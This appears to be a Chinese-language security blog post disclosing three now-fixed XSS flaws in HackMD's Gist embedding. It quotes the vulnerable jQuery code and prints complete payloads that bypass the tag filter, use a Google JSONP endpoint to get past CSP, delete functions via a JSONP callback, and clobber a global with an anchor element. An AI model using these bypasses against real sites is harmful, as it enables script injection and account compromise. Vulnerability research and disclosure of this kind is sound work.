HackMD XSS, Again
這次又找到了 HackMD XSS,主要是和 Gist 方面沒處理好導致的。
至於為什麼是又呢? 一方面是我去年有找到兩個 HackMD XSS,另外是 Gist 的 XSS 在更早以前也出現過了,不過在多個版本更新之後又出現了 XSS。
不過這次最特別的是我在 HackMD 團隊修復後還是有找到方法 bypass 它的 filter,在一樣的地方再拿一個 XSS。後來回顧時還發現到了一個先前沒找到的 XSS,所以這篇文章一共有三個 HackMD XSS。
最初的 XSS
觸發點是這個地方:
1 | e.find("code[data-gist-id]").filter(n).each((function(e, t) { |
其中的 I
是 jQuery,所以可以找 $.fn.gist
的
code 來看:
1 | a.fn.gist = function(c) { |
顯然,裡面有各種字串拼接 html 的操作,所以應該可以有 XSS。然而
data-gist-id
在前面會被 stripTags
過濾,所以要看看它是怎麼做的:
1 | stripTags: function() { |
這邊 t
部分因為呼叫時沒有給參數,所以會是預設的那個
[""]
,因此它相當於
e.replace(/<\/?[^<>]*>/gi, "")
,所以
<<x>script>
就能繞過了,之後就想辦法讓它觸發
error callback 的
d.html("Failed loading gist " + f + ": " + b)
就行了。
因此全部湊起來再結合 Google jsonp CSP bypass 就能得到:
1 | <code data-gist-id='PEKO<<x>script src="https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(document.domain)//"></<x>script>MIKO'></code> |
修正後再一次 XSS
修過之後我看了一下它的改動,只有把 stripTags
的部分修正了一下而已:
1 | stripTags: function() { |
基本上是 replace 一樣的東西,但是這次還會 recursive 的把 html tag
移除掉,所以 <<x>script>
這種繞法是沒用的。不過由於它有 match >
,所以
<script
這種沒閉合的 tag 是不會被移除的。
在不能用 >
的情況下從 cheat sheet 上查可知有
<svg onload=alert()//
之類的 payload,不過這邊一個是因為
CSP 所以不能用,另一個是它 html 注入的地方是使用 jQuery
$.fn.html
去做的,裡面會 assign html 給
innerHTML
。而瀏覽器在 assign html 給 innerHTML
時我發現如果只有 <
存在而沒有 >
的話,<
之後的所有 payload
都會整個消失不見,所以這樣是沒辦法的。
我這邊的想法是換一個注入點,就是 img 的那個地方:
1 | n && d.html('<img style="display:block;margin-left:auto;margin-right:auto" alt="' + i + '" src="https://assets-cdn.github.com/images/spinners/octocat-spinner-32.gif">'), |
前面可以很簡單的把 img 結束掉,後面又有 >
的存在,所以只有 <
的話可以用 iframe srcdoc
去搞事。不過這邊有個困難點是 srcdoc 裡面還是要 bypass
CSP,因此它一樣要用 Google jsonp CSP bypass,但同時它又有個呼叫 Gist 的
ajax,無論是 success 還是 error 都會呼叫
d.html(...)
,iframe 還在載入中的 Google jsonp
覆蓋過去,所以沒辦法 XSS。
這邊我的想法是能不能讓它憑空生一個 error,讓它不會執行到
d.html(...)
,這樣才有足夠的時間能載入
jsonp。而這邊我的答案就是在 Gist callback 利用我之前在 HITCON
CTF 2022 - Secure Paste 用的那個 jsonp delete 技巧
(實際上真正的來源應該是這個),用
delete[jQuery.fn][0].html
就能把 $.fn.html
刪掉,這樣就能讓它產生 error 了,所以就有足夠的時間讓 Google jsonp
載入得到 XSS。
最後的 payload 就是:
1 | <code data-gist-show-spinner="true" data-gist-id='maple3142/84ce16496ac08379f9df973c0566822c.json?callback=[delete[jQuery.fn][0].html]#"><iframe srcdoc="&lt;script src&equals;&quot;https&colon;&sol;&sol;www&period;google&period;com&sol;complete&sol;search&quest;client&equals;chrome&amp;q&equals;123&amp;jsonp&equals;alert&lpar;document&period;domain&rpar;&sol;&sol;&quot;MIKO&apos;&gt;&lt;&sol;script&gt;"'></code> |
XSS, Again
最後有個我原本沒注意到的點,就是
setTimeout(window.viewAjaxCallback, 200)
這個地方。原本
window.viewAjaxCallback
是有個函數存在的,但我們從上面知道可以用 jsonp callback 去 delete
某個東西,所以用 delete[window][0].viewAjaxCallback
就能把它刪掉。
接下來因為 setTimeout
的第一個參數其實也能接受
string,所以有機會用 DOM clobbering 去蓋掉
window.viewAjaxCallback
的值達成 XSS:
1 | <a id="viewAjaxCallback" href="cid:alert()"></a> |
不過這個部分和上一個 XSS 一起在 1.56.0 版本修好了,所以也沒有另外回報。